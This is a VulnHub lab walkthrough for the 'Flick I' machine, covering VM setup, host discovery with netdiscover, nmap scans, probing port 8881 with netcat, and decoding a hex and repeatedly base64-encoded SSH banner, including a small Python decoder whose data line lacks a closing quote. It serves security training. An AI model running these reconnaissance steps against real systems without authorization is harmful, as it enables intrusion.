Flick: Flick I || VulnHub Complete Walkthrough

Hello everyone! Welcome all of my viewers, to this brand-new VulnHub Walkthrough Article. In today's Article, we will be dealing with a vulnerable machine, categorized as "Medium" in terms of difficulty.


The subject of our exploration is a machine named " Flick I ," which is a component of the “ Flick ” series. To begin with, you'll need to download the vulnerable image from the VulnHub website. 

If you're not familiar with VulnHub yet, feel free to check out This Link:


Vulhub - Vulnerable By Design

Vulhub is a collection of pre-built vulnerable docker environments that are designed for learning and practicing security testing. It provides various intentionally vulnerable web applications and services for hands-on security training.


Setting Up

After successfully obtaining the image, the next step involves setting up the server within VirtualBox, which is a fairly straightforward procedure.

Before getting started, you need to extract the downloaded file, as it isn't in the " .ova " format. You can accomplish this using the WinRAR application. 

Upon extraction, you'll have a " .ova " file that can be easily imported into VirtualBox.

First, Launch VirtualBox , and then go to the "File" menu, and select "Import Appliance". 

Import the downloaded OVA file by browsing your computer to locate the download file and click "Next." 

Review the appliance details and settings. You can keep the default settings or make adjustments based on your needs. 

Click " Finish " to begin importing.

Once the import is complete, you'll find the "Flick I" vulnerable machine listed in the VirtualBox Manager. 

Select the virtual machine, click on " Settings ," and change the network adapter to " Host-only adapter ."

Make sure that both your Kali Linux Machine, which is used for performing attacks, and your vulnerable machine must be connected to the same network.

Once the setup is done, it's time to start the Virtual Machines. 

You'll notice that our Vulnerable Machine is all set, and we now have a login prompt waiting for us.

Let's dive into the fun!

 

Enumeration

Enumeration is the first process of our attack, aimed at identifying the IP Address of our Target Machine using Net Discover. 

To do this, open a terminal, and run the following command:

┌──(kali㉿kali)-[~]
└─$ sudo netdiscover -i eth1

 Currently scanning: 192.168.106.0/16   |   Screen View: Unique Hosts                                                          
                                                                                                                               
 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                               
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.95.101  08:00:27:4a:ce:a9      1      60  PCS Systemtechnik GmbH                                                      
 192.168.95.116  0a:00:27:00:00:0e      1      60  Unknown vendor                                                              
 192.168.95.117  08:00:27:53:30:62      1      60  PCS Systemtechnik GmbH                                                      

From the scan result, we have obtained our target IP address, which is, "192.168.95.117".

Next, we perform a network scan to detect what ports are open. 


Network Scanning with Nmap

Scanning the Network is an essential part of the enumeration process. This allows us to understand the attack surface and plan targeted attacks. For this purpose, we'll use the popular Nmap tool. Use the following command on the terminal:

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV 192.168.95.117

Where, 

  • -sC is used to perform a script scan using the default set of scripts, and 
  • -sV is used to enable version detection, which will detect, what versions are running on what port.  

Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-09 10:29 EDT
Nmap scan report for 192.168.95.117
Host is up (0.0022s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 04d08d4dee8730e7608263d3a86e4bac (DSA)
|   2048 64eca99b0bc011d40863cf83e1db239a (RSA)
|_  256 2d3293ce0e543f84ee01c7c0bb68e202 (ECDSA)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.58 seconds

After conducting the network scan, we spotted the presence of one open port, specifically, 

  • The Port 22/TCP , running an SSH service, indicates that, if we possess valid credentials, gaining access to the server will be a straightforward process.

However, since we lack both a username and password, our next step involves revisiting the network scan. We'll perform an extensive scan covering all open ports.

┌──(kali㉿kali)-[~]
└─$ nmap -A -p- 192.168.95.117

Where, 

  • -A determines the target's OS, identifies service versions on open ports, and runs predefined scripts for advanced scanning tasks.

Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-09 10:30 EDT
Nmap scan report for 192.168.95.117
Host is up (0.0012s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT     STATE SERVICE   VERSION
22/tcp   open  ssh       OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 04d08d4dee8730e7608263d3a86e4bac (DSA)
|   2048 64eca99b0bc011d40863cf83e1db239a (RSA)
|_  256 2d3293ce0e543f84ee01c7c0bb68e202 (ECDSA)
8881/tcp open  galaxy4d?
| fingerprint-strings: 
|   DNSStatusRequestTCP, GenericLines, NULL, RPCCheck: 
|     Welcome to the admin server. A correct password will 'flick' the switch and open a new door:
|   DNSVersionBindReqTCP: 
|     Welcome to the admin server. A correct password will 'flick' the switch and open a new door:
|     version
|     bind
|   FourOhFourRequest: 
|     Welcome to the admin server. A correct password will 'flick' the switch and open a new door:
|     /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0
|   GetRequest: 
|     Welcome to the admin server. A correct password will 'flick' the switch and open a new door:
|     HTTP/1.0
|   HTTPOptions: 
|     Welcome to the admin server. A correct password will 'flick' the switch and open a new door:
|     OPTIONS / HTTP/1.0
|   RTSPRequest: 
|     Welcome to the admin server. A correct password will 'flick' the switch and open a new door:
|_    OPTIONS / RTSP/1.0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8881-TCP:V=7.93%I=7%D=8/9%Time=64D3A333%P=x86_64-pc-linux-gnu%r(NUL
SF:L,5F,"Welcome\x20to\x20the\x20admin\x20server\.\x20A\x20correct\x20pass
SF:word\x20will\x20'flick'\x20the\x20switch\x20and\x20open\x20a\x20new\x20
SF:door:\n>\x20")%r(GetRequest,78,"Welcome\x20to\x20the\x20admin\x20server
SF:\.\x20A\x20correct\x20password\x20will\x20'flick'\x20the\x20switch\x20a
SF:nd\x20open\x20a\x20new\x20door:\n>\x20OK:\x20GET\x20/\x20HTTP/1\.0\r\n\
SF:r\n\n>\x20")%r(FourOhFourRequest,9B,"Welcome\x20to\x20the\x20admin\x20s
SF:erver\.\x20A\x20correct\x20password\x20will\x20'flick'\x20the\x20switch
SF:\x20and\x20open\x20a\x20new\x20door:\n>\x20OK:\x20GET\x20/nice%20ports%
SF:2C/Tri%6Eity\.txt%2ebak\x20HTTP/1\.0\r\n\r\n\n>\x20")%r(GenericLines,6A
SF:,"Welcome\x20to\x20the\x20admin\x20server\.\x20A\x20correct\x20password
SF:\x20will\x20'flick'\x20the\x20switch\x20and\x20open\x20a\x20new\x20door
SF::\n>\x20OK:\x20\r\n\r\n\n>\x20")%r(HTTPOptions,7C,"Welcome\x20to\x20the
SF:\x20admin\x20server\.\x20A\x20correct\x20password\x20will\x20'flick'\x2
SF:0the\x20switch\x20and\x20open\x20a\x20new\x20door:\n>\x20OK:\x20OPTIONS
SF:\x20/\x20HTTP/1\.0\r\n\r\n\n>\x20")%r(RTSPRequest,7C,"Welcome\x20to\x20
SF:the\x20admin\x20server\.\x20A\x20correct\x20password\x20will\x20'flick'
SF:\x20the\x20switch\x20and\x20open\x20a\x20new\x20door:\n>\x20OK:\x20OPTI
SF:ONS\x20/\x20RTSP/1\.0\r\n\r\n\n>\x20")%r(RPCCheck,92,"Welcome\x20to\x20
SF:the\x20admin\x20server\.\x20A\x20correct\x20password\x20will\x20'flick'
SF:\x20the\x20switch\x20and\x20open\x20a\x20new\x20door:\n>\x20OK:\x20\x80
SF:\0\0\(r\xfe\x1d\x13\0\0\0\0\0\0\0\x02\0\x01\x86\xa0\0\x01\x97\|\0\0\0\0
SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\n>\x20")%r(DNSVersionBindReqTCP,86,"We
SF:lcome\x20to\x20the\x20admin\x20server\.\x20A\x20correct\x20password\x20
SF:will\x20'flick'\x20the\x20switch\x20and\x20open\x20a\x20new\x20door:\n>
SF:\x20OK:\x20\0\x1e\0\x06\x01\0\0\x01\0\0\0\0\0\0\x07version\x04bind\0\0\
SF:x10\0\x03\n>\x20")%r(DNSStatusRequestTCP,74,"Welcome\x20to\x20the\x20ad
SF:min\x20server\.\x20A\x20correct\x20password\x20will\x20'flick'\x20the\x
SF:20switch\x20and\x20open\x20a\x20new\x20door:\n>\x20OK:\x20\0\x0c\0\0\x1
SF:0\0\0\0\0\0\0\0\0\0\n>\x20");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 175.44 seconds


Enumerating Unknown TCP Port 8881 (Galaxy4d)

Upon revisiting the network scan, we've uncovered another open port, specifically, 

  • Port 8881/TCP. This port is hosting an unfamiliar service named "Galaxy4d?" This discovery has the potential to provide us with access to the vulnerable server's network.

Upon further examination of the Nmap script, it appears that this service might involve an admin server that prompts for a password. 

8881/tcp open  galaxy4d?
| fingerprint-strings: 
|   DNSStatusRequestTCP, GenericLines, NULL, RPCCheck: 
|     Welcome to the admin server. A correct password will 'flick' the switch and open a new door:
|   DNSVersionBindReqTCP: 
|     Welcome to the admin server. A correct password will 'flick' the switch and open a new door:
|     version
|     bind
|   FourOhFourRequest: 
|     Welcome to the admin server. A correct password will 'flick' the switch and open a new door:
|     /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0
|   GetRequest: 
|     Welcome to the admin server. A correct password will 'flick' the switch and open a new door:
|     HTTP/1.0
|   HTTPOptions: 
|     Welcome to the admin server. A correct password will 'flick' the switch and open a new door:
|     OPTIONS / HTTP/1.0
|   RTSPRequest: 
|     Welcome to the admin server. A correct password will 'flick' the switch and open a new door:
|_    OPTIONS / RTSP/1.0

Our strategy involves attempting to access this service, and we can make use of tools like Netcat to make this connection easier.

On a new terminal, type the following command: 

┌──(kali㉿kali)-[~]
└─$ nc 192.168.95.117 8881
Welcome to the admin server. A correct password will 'flick' the switch and open a new door:

As we already guessed, it prompts us to input a password to access the new world of "flick". Let’s try to guess some common passwords, but unfortunately, they don't work.

Welcome to the admin server. A correct password will 'flick' the switch and open a new door:
> pass
OK: pass

> password
OK: password

>

Now, let's focus on retrieving the password. After analyzing the network scan results, we discovered another unidentified piece of data. 

1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8881-TCP:V=7.93%I=7%D=8/9%Time=64D3A333%P=x86_64-pc-linux-gnu%r(NUL
SF:L,5F,"Welcome\x20to\x20the\x20admin\x20server\.\x20A\x20correct\x20pass
SF:word\x20will\x20'flick'\x20the\x20switch\x20and\x20open\x20a\x20new\x20
SF:door:\n>\x20")%r(GetRequest,78,"Welcome\x20to\x20the\x20admin\x20server
SF:\.\x20A\x20correct\x20password\x20will\x20'flick'\x20the\x20switch\x20a
SF:nd\x20open\x20a\x20new\x20door:\n>\x20OK:\x20GET\x20/\x20HTTP/1\.0\r\n\
SF:r\n\n>\x20")%r(FourOhFourRequest,9B,"Welcome\x20to\x20the\x20admin\x20s
SF:erver\.\x20A\x20correct\x20password\x20will\x20'flick'\x20the\x20switch
SF:\x20and\x20open\x20a\x20new\x20door:\n>\x20OK:\x20GET\x20/nice%20ports%
SF:2C/Tri%6Eity\.txt%2ebak\x20HTTP/1\.0\r\n\r\n\n>\x20")%r(GenericLines,6A
SF:,"Welcome\x20to\x20the\x20admin\x20server\.\x20A\x20correct\x20password
SF:\x20will\x20'flick'\x20the\x20switch\x20and\x20open\x20a\x20new\x20door
SF::\n>\x20OK:\x20\r\n\r\n\n>\x20")%r(HTTPOptions,7C,"Welcome\x20to\x20the
SF:\x20admin\x20server\.\x20A\x20correct\x20password\x20will\x20'flick'\x2
SF:0the\x20switch\x20and\x20open\x20a\x20new\x20door:\n>\x20OK:\x20OPTIONS
SF:\x20/\x20HTTP/1\.0\r\n\r\n\n>\x20")%r(RTSPRequest,7C,"Welcome\x20to\x20
SF:the\x20admin\x20server\.\x20A\x20correct\x20password\x20will\x20'flick'
SF:\x20the\x20switch\x20and\x20open\x20a\x20new\x20door:\n>\x20OK:\x20OPTI
SF:ONS\x20/\x20RTSP/1\.0\r\n\r\n\n>\x20")%r(RPCCheck,92,"Welcome\x20to\x20
SF:the\x20admin\x20server\.\x20A\x20correct\x20password\x20will\x20'flick'
SF:\x20the\x20switch\x20and\x20open\x20a\x20new\x20door:\n>\x20OK:\x20\x80
SF:\0\0\(r\xfe\x1d\x13\0\0\0\0\0\0\0\x02\0\x01\x86\xa0\0\x01\x97\|\0\0\0\0
SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\n>\x20")%r(DNSVersionBindReqTCP,86,"We
SF:lcome\x20to\x20the\x20admin\x20server\.\x20A\x20correct\x20password\x20
SF:will\x20'flick'\x20the\x20switch\x20and\x20open\x20a\x20new\x20door:\n>
SF:\x20OK:\x20\0\x1e\0\x06\x01\0\0\x01\0\0\0\0\0\0\x07version\x04bind\0\0\
SF:x10\0\x03\n>\x20")%r(DNSStatusRequestTCP,74,"Welcome\x20to\x20the\x20ad
SF:min\x20server\.\x20A\x20correct\x20password\x20will\x20'flick'\x20the\x
SF:20switch\x20and\x20open\x20a\x20new\x20door:\n>\x20OK:\x20\0\x0c\0\0\x1
SF:0\0\0\0\0\0\0\0\0\0\n>\x20");

This suggests that when we exploit  Port 8881 , it might reveal the  unrecognized service


Fingerprinting the OS Using SSH Client Tool

Now, The only option left is using SSH. To proceed, our remaining option is to utilize SSH. On the terminal, run the following command:

┌──(kali㉿kali)-[~]
└─$ ssh 192.168.95.117

The system will automatically consider your Kali Linux username as a user and initiate an attempt to connect to the vulnerable service:

The authenticity of host '192.168.95.117 (192.168.95.117)' can't be established.
ECDSA key fingerprint is SHA256:OgFkTDTD/D7ndkanMRwJI92zYuzltDSkOS7E3sPlpPk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.95.117' (ECDSA) to the list of known hosts.

\x56\x6d\x30\x77\x64\x32\x51\x79\x55\x58\x6c\x56\x57\x47\x78\x57\x56\x30\x64\x34
\x56\x31\x59\x77\x5a\x44\x52\x57\x4d\x56\x6c\x33\x57\x6b\x52\x53\x57\x46\x4a\x74
\x65\x46\x5a\x56\x4d\x6a\x41\x31\x56\x6a\x41\x78\x56\x32\x4a\x45\x54\x6c\x68\x68
\x4d\x6b\x30\x78\x56\x6d\x70\x4b\x53\x31\x49\x79\x53\x6b\x56\x55\x62\x47\x68\x6f
\x54\x56\x68\x43\x55\x56\x5a\x74\x65\x46\x5a\x6c\x52\x6c\x6c\x35\x56\x47\x74\x73
\x61\x6c\x4a\x74\x61\x47\x39\x55\x56\x6d\x68\x44\x56\x56\x5a\x61\x63\x56\x46\x74
\x52\x6c\x70\x57\x4d\x44\x45\x31\x56\x54\x4a\x30\x56\x31\x5a\x58\x53\x6b\x68\x68
\x52\x7a\x6c\x56\x56\x6d\x78\x61\x4d\x31\x5a\x73\x57\x6d\x46\x6b\x52\x30\x35\x47
\x57\x6b\x5a\x53\x54\x6d\x46\x36\x52\x54\x46\x57\x56\x45\x6f\x77\x56\x6a\x46\x61
\x57\x46\x4e\x72\x61\x47\x68\x53\x65\x6d\x78\x57\x56\x6d\x70\x4f\x54\x30\x30\x78
\x63\x46\x5a\x58\x62\x55\x5a\x72\x55\x6a\x41\x31\x52\x31\x64\x72\x57\x6e\x64\x57
\x4d\x44\x46\x46\x55\x6c\x52\x47\x56\x31\x5a\x46\x62\x33\x64\x57\x61\x6b\x5a\x68
\x56\x30\x5a\x4f\x63\x6d\x46\x48\x61\x46\x4e\x6c\x62\x58\x68\x58\x56\x6d\x30\x78
\x4e\x46\x6c\x56\x4d\x48\x68\x58\x62\x6b\x35\x59\x59\x6c\x56\x61\x63\x6c\x56\x71
\x51\x54\x46\x53\x4d\x57\x52\x79\x56\x32\x78\x4f\x56\x57\x4a\x56\x63\x45\x64\x5a
\x4d\x46\x5a\x33\x56\x6a\x4a\x4b\x56\x56\x4a\x59\x5a\x46\x70\x6c\x61\x33\x42\x49
\x56\x6d\x70\x47\x54\x32\x52\x57\x56\x6e\x52\x68\x52\x6b\x35\x73\x59\x6c\x68\x6f
\x57\x46\x5a\x74\x4d\x58\x64\x55\x4d\x56\x46\x33\x54\x55\x68\x6f\x61\x6c\x4a\x73
\x63\x46\x6c\x5a\x62\x46\x5a\x68\x59\x32\x78\x57\x63\x56\x46\x55\x52\x6c\x4e\x4e
\x56\x6c\x59\x31\x56\x46\x5a\x53\x55\x31\x5a\x72\x4d\x58\x4a\x6a\x52\x6d\x68\x57
\x54\x57\x35\x53\x4d\x31\x5a\x71\x53\x6b\x74\x57\x56\x6b\x70\x5a\x57\x6b\x5a\x77
\x62\x47\x45\x7a\x51\x6b\x6c\x57\x62\x58\x42\x48\x56\x44\x4a\x53\x56\x31\x5a\x75
\x55\x6d\x68\x53\x61\x7a\x56\x7a\x57\x57\x78\x6f\x62\x31\x64\x47\x57\x6e\x52\x4e
\x53\x47\x68\x50\x55\x6d\x31\x34\x56\x31\x52\x56\x61\x47\x39\x58\x52\x30\x70\x79
\x54\x6c\x5a\x73\x57\x6d\x4a\x47\x57\x6d\x68\x5a\x4d\x6e\x68\x58\x59\x7a\x46\x57
\x63\x6c\x70\x47\x61\x47\x6c\x53\x4d\x31\x46\x36\x56\x6a\x4a\x30\x55\x31\x55\x78
\x57\x6e\x4a\x4e\x57\x45\x70\x71\x55\x6d\x31\x6f\x56\x31\x52\x58\x4e\x56\x4e\x4e
\x4d\x56\x70\x78\x55\x32\x74\x30\x56\x31\x5a\x72\x63\x46\x70\x58\x61\x31\x70\x33
\x56\x6a\x46\x4b\x56\x32\x4e\x49\x62\x46\x64\x57\x52\x55\x70\x6f\x56\x6b\x52\x4b
\x54\x32\x52\x47\x53\x6e\x4a\x61\x52\x6d\x68\x70\x56\x6a\x4e\x6f\x56\x56\x64\x57
\x55\x6b\x39\x52\x4d\x57\x52\x48\x56\x32\x35\x53\x54\x6c\x5a\x46\x53\x6c\x68\x55
\x56\x33\x68\x48\x54\x6c\x5a\x61\x57\x45\x35\x56\x4f\x56\x68\x53\x4d\x48\x42\x4a
\x56\x6c\x64\x34\x63\x31\x64\x74\x53\x6b\x68\x68\x52\x6c\x4a\x58\x54\x55\x5a\x77
\x56\x46\x5a\x71\x52\x6e\x64\x53\x4d\x56\x4a\x30\x5a\x55\x64\x73\x55\x32\x4a\x59
\x59\x33\x68\x57\x61\x31\x70\x68\x56\x54\x46\x56\x65\x46\x64\x75\x53\x6b\x35\x58
\x52\x58\x42\x78\x56\x57\x78\x6b\x4e\x47\x46\x47\x56\x58\x64\x68\x52\x55\x35\x55
\x55\x6d\x78\x77\x65\x46\x55\x79\x64\x47\x46\x69\x52\x6c\x70\x7a\x56\x32\x78\x77
\x57\x47\x45\x78\x63\x44\x4e\x5a\x61\x32\x52\x47\x5a\x57\x78\x47\x63\x6d\x4a\x47
\x5a\x46\x64\x4e\x4d\x45\x70\x4a\x56\x6d\x74\x53\x53\x31\x55\x78\x57\x58\x68\x57
\x62\x6c\x5a\x57\x59\x6c\x68\x43\x56\x46\x6c\x72\x56\x6e\x64\x57\x56\x6c\x70\x30
\x5a\x55\x63\x35\x55\x6b\x31\x58\x55\x6e\x70\x57\x4d\x6a\x56\x4c\x56\x30\x64\x4b
\x53\x46\x56\x74\x4f\x56\x56\x57\x62\x48\x42\x59\x56\x47\x78\x61\x59\x56\x64\x48
\x56\x6b\x68\x6b\x52\x32\x68\x70\x55\x6c\x68\x42\x64\x31\x64\x57\x56\x6d\x39\x55
\x4d\x56\x70\x30\x55\x6d\x35\x4b\x54\x31\x5a\x73\x53\x6c\x68\x55\x56\x6c\x70\x33
\x56\x30\x5a\x72\x65\x46\x64\x72\x64\x47\x70\x69\x56\x6b\x70\x49\x56\x6c\x64\x34
\x61\x32\x46\x57\x53\x6e\x52\x50\x56\x45\x35\x58\x54\x57\x35\x6f\x57\x46\x6c\x71
\x53\x6b\x5a\x6c\x52\x6d\x52\x5a\x57\x6b\x55\x31\x56\x31\x5a\x73\x63\x46\x56\x58
\x56\x33\x52\x72\x56\x54\x46\x73\x56\x31\x56\x73\x57\x6c\x68\x69\x56\x56\x70\x7a
\x57\x57\x74\x61\x64\x32\x56\x47\x56\x58\x6c\x6b\x52\x45\x4a\x58\x54\x56\x5a\x77
\x65\x56\x59\x79\x65\x48\x64\x58\x62\x46\x70\x58\x59\x30\x68\x4b\x56\x31\x5a\x46
\x57\x6b\x78\x57\x4d\x56\x70\x48\x59\x32\x31\x4b\x52\x31\x70\x47\x5a\x45\x35\x4e
\x52\x58\x42\x4b\x56\x6d\x31\x30\x55\x31\x4d\x78\x56\x58\x68\x58\x57\x47\x68\x68
\x55\x30\x5a\x61\x56\x6c\x6c\x72\x57\x6b\x74\x6a\x52\x6c\x70\x78\x56\x47\x30\x35
\x56\x31\x5a\x73\x63\x45\x68\x58\x56\x45\x35\x76\x59\x56\x55\x78\x57\x46\x56\x75
\x63\x46\x64\x4e\x56\x32\x68\x32\x56\x31\x5a\x61\x53\x31\x49\x78\x54\x6e\x56\x52
\x62\x46\x5a\x58\x54\x54\x46\x4b\x4e\x6c\x5a\x48\x64\x47\x46\x68\x4d\x6b\x35\x7a
\x56\x32\x35\x53\x61\x31\x4a\x74\x55\x6e\x42\x57\x62\x47\x68\x44\x54\x6c\x5a\x6b
\x56\x56\x46\x74\x52\x6d\x70\x4e\x56\x31\x49\x77\x56\x54\x4a\x30\x61\x31\x64\x48
\x53\x6c\x68\x68\x52\x30\x5a\x56\x56\x6d\x78\x77\x4d\x31\x70\x58\x65\x48\x4a\x6c
\x56\x31\x5a\x49\x5a\x45\x64\x30\x55\x32\x45\x7a\x51\x58\x64\x58\x62\x46\x5a\x68
\x59\x54\x4a\x47\x56\x31\x64\x75\x53\x6d\x6c\x6c\x61\x31\x70\x59\x57\x57\x78\x6f
\x51\x31\x52\x47\x55\x6e\x4a\x58\x62\x45\x70\x73\x55\x6d\x31\x53\x65\x6c\x6c\x56
\x57\x6c\x4e\x68\x56\x6b\x70\x31\x55\x57\x78\x77\x56\x32\x4a\x59\x55\x6c\x68\x61
\x52\x45\x5a\x72\x55\x6a\x4a\x4b\x53\x56\x52\x74\x61\x46\x4e\x57\x56\x46\x5a\x61
\x56\x6c\x63\x78\x4e\x47\x51\x79\x56\x6b\x64\x57\x62\x6c\x4a\x72\x55\x6b\x56\x4b
\x62\x31\x6c\x59\x63\x45\x64\x6c\x56\x6c\x4a\x7a\x56\x6d\x35\x4f\x57\x47\x4a\x47
\x63\x46\x68\x5a\x4d\x47\x68\x4c\x56\x32\x78\x61\x57\x46\x56\x72\x5a\x47\x46\x57
\x56\x31\x4a\x51\x56\x54\x42\x6b\x52\x31\x49\x79\x52\x6b\x68\x69\x52\x6b\x35\x70
\x59\x54\x42\x77\x4d\x6c\x5a\x74\x4d\x54\x42\x56\x4d\x55\x31\x34\x56\x56\x68\x73
\x56\x56\x64\x48\x65\x46\x5a\x5a\x56\x45\x5a\x33\x59\x55\x5a\x57\x63\x56\x4e\x74
\x4f\x56\x64\x53\x62\x45\x70\x5a\x56\x47\x78\x6a\x4e\x57\x45\x79\x53\x6b\x64\x6a
\x52\x57\x68\x58\x59\x6c\x52\x42\x4d\x56\x5a\x58\x63\x33\x68\x58\x52\x6c\x5a\x7a
\x59\x55\x5a\x6b\x54\x6c\x59\x79\x61\x44\x4a\x57\x61\x6b\x4a\x72\x55\x7a\x46\x6b
\x56\x31\x5a\x75\x53\x6c\x42\x57\x62\x48\x42\x76\x57\x56\x52\x47\x64\x31\x4e\x57
\x57\x6b\x68\x6c\x52\x30\x5a\x61\x56\x6d\x31\x53\x52\x31\x52\x73\x57\x6d\x46\x56
\x52\x6c\x6c\x35\x59\x55\x5a\x6f\x57\x6c\x64\x49\x51\x6c\x68\x56\x4d\x46\x70\x68
\x59\x31\x5a\x4f\x63\x56\x56\x73\x57\x6b\x35\x57\x4d\x55\x6c\x33\x56\x6c\x52\x4b
\x4d\x47\x49\x79\x52\x6b\x64\x54\x62\x6b\x35\x55\x59\x6b\x64\x6f\x56\x6c\x5a\x73
\x57\x6e\x64\x4e\x4d\x56\x70\x79\x56\x32\x31\x47\x61\x6c\x5a\x72\x63\x44\x42\x61
\x52\x57\x51\x77\x56\x6a\x4a\x4b\x63\x6c\x4e\x72\x61\x46\x64\x53\x4d\x32\x68\x6f
\x56\x6b\x52\x4b\x52\x31\x59\x78\x54\x6e\x56\x56\x62\x45\x4a\x58\x55\x6c\x52\x57
\x57\x56\x64\x57\x55\x6b\x64\x6b\x4d\x6b\x5a\x48\x56\x32\x78\x57\x55\x32\x45\x78
\x63\x48\x4e\x56\x62\x54\x46\x54\x5a\x57\x78\x73\x56\x6c\x64\x73\x54\x6d\x68\x53
\x56\x45\x5a\x61\x56\x56\x63\x31\x62\x31\x59\x78\x57\x58\x70\x68\x53\x45\x70\x61
\x59\x57\x74\x61\x63\x6c\x56\x71\x52\x6c\x64\x6a\x4d\x6b\x5a\x47\x54\x31\x5a\x6b
\x56\x31\x5a\x47\x57\x6d\x46\x57\x62\x47\x4e\x34\x54\x6b\x64\x52\x65\x56\x5a\x72
\x5a\x46\x64\x69\x62\x45\x70\x79\x56\x57\x74\x57\x53\x32\x49\x78\x62\x46\x6c\x6a
\x52\x57\x52\x73\x56\x6d\x78\x4b\x65\x6c\x5a\x74\x4d\x44\x56\x58\x52\x30\x70\x48
\x59\x30\x5a\x6f\x57\x6b\x31\x48\x61\x45\x78\x57\x4d\x6e\x68\x68\x56\x30\x5a\x57
\x63\x6c\x70\x48\x52\x6c\x64\x4e\x4d\x6d\x68\x4a\x56\x31\x52\x4a\x65\x46\x4d\x78
\x53\x58\x68\x6a\x52\x57\x52\x68\x55\x6d\x73\x31\x57\x46\x59\x77\x56\x6b\x74\x4e
\x62\x46\x70\x30\x59\x30\x56\x6b\x57\x6c\x59\x77\x56\x6a\x52\x57\x62\x47\x68\x76
\x56\x30\x5a\x6b\x53\x47\x46\x47\x57\x6c\x70\x69\x57\x47\x68\x6f\x56\x6d\x31\x34
\x63\x32\x4e\x73\x5a\x48\x4a\x6b\x52\x33\x42\x54\x59\x6b\x5a\x77\x4e\x46\x5a\x58
\x4d\x54\x42\x4e\x52\x6c\x6c\x34\x56\x32\x35\x4f\x61\x6c\x4a\x58\x61\x46\x68\x57
\x61\x6b\x35\x54\x56\x45\x5a\x73\x56\x56\x46\x59\x61\x46\x4e\x57\x61\x33\x42\x36
\x56\x6b\x64\x34\x59\x56\x55\x79\x53\x6b\x5a\x58\x57\x48\x42\x58\x56\x6c\x5a\x77
\x52\x31\x51\x78\x57\x6b\x4e\x56\x62\x45\x4a\x56\x54\x55\x51\x77\x50\x51\x3d\x3d

 .o88o. oooo   o8o            oooo        
 888 `" `888   `"'            `888        
o888oo   888  oooo   .ooooo.   888  oooo  
 888     888  `888  d88' `"Y8  888 .8P'   
 888     888   888  888        888888.    
 888     888   888  888   .o8  888 `88b.  
o888o   o888o o888o `Y8bod8P' o888o o888o 
                                          

[email protected]'s password: 

Upon a successful connection attempt, a block of hexadecimal data will be provided. This block appears to contain additional information about the server's fingerprint.


Extracting OS Fingerprint with CyberChef

We can simplify the complex hexadecimal data using a tool like CyberChef to decode and understand its content.

CyberChef - The Cyber Swiss Army Knife

CyberChef is a powerful web application for encrypting, decrypting, and analyzing data. It provides a wide range of cryptographic, encoding, and data manipulation tools, making it a valuable asset for cybersecurity professionals and enthusiasts.


To do this, visit CyberChef, and follow these steps:

  1. Paste the Hexadecimal value into the input section.
  2. Search for "Hex" on the search bar in the operations section, and then drag and drop the "From hex" operation into the recipe section. 
  3. This will automatically decode the hexadecimal value.

After decoding, I realized that the result was in the form of base64 encoding

Let’s decode it. 

  1. To decode it, copy the output and paste it into the input section again.
  2. Search for the "base64" operation in CyberChef, then drag the "From base64" operation into the recipe section. 
  3. This will decode the base64-encoded data.

However, upon analyzing the output, I noticed that the decoded data is still in base64 format

It appears that the creator of this vulnerable machine might have purposely confused us by repeatedly encoding the text.

Let's copy the output and paste it into the input section again, repeating the process until we find the correct text.

After attempting multiple times, I believe I've finally identified the accurate data on my 17th attempt .

Or, You can also generate a Python code to do the same thing. In a new terminal, create a new Python file named, " base64decoder.py " using the " nano " text editor.

┌──(kali㉿kali)-[~]
└─$ nano base64decoder.py

import base64

data = 'Your_base64_encoded_data_here# Replace this with your actual base64 encoded data
decoded = True

while decoded:
    try:
        print(data)
        data = base64.b64decode(data)
    except:
        decoded = False

Copy and paste the provided lines of code on my blog into this " base64decoder.py " file. 

This code is like a set of instructions for your computer. This Python program is designed to uncover hidden content from base64 encoded text. It does this by repeatedly decoding the text.

Change the data with base64 encoded data and Paste it to the  nano  text editor.

Now, save your changes by pressing "CTRL + X" and confirming.

To make the program work, type python3, mention the program name in the terminal, and hit Enter. 

┌──(kali㉿kali)-[~]
└─$ python3 base64decoder.py 

The program will start decoding the text step by step, like opening nested envelopes. After a number of iterations, the program will reveal the original hidden message in the 17th position. 

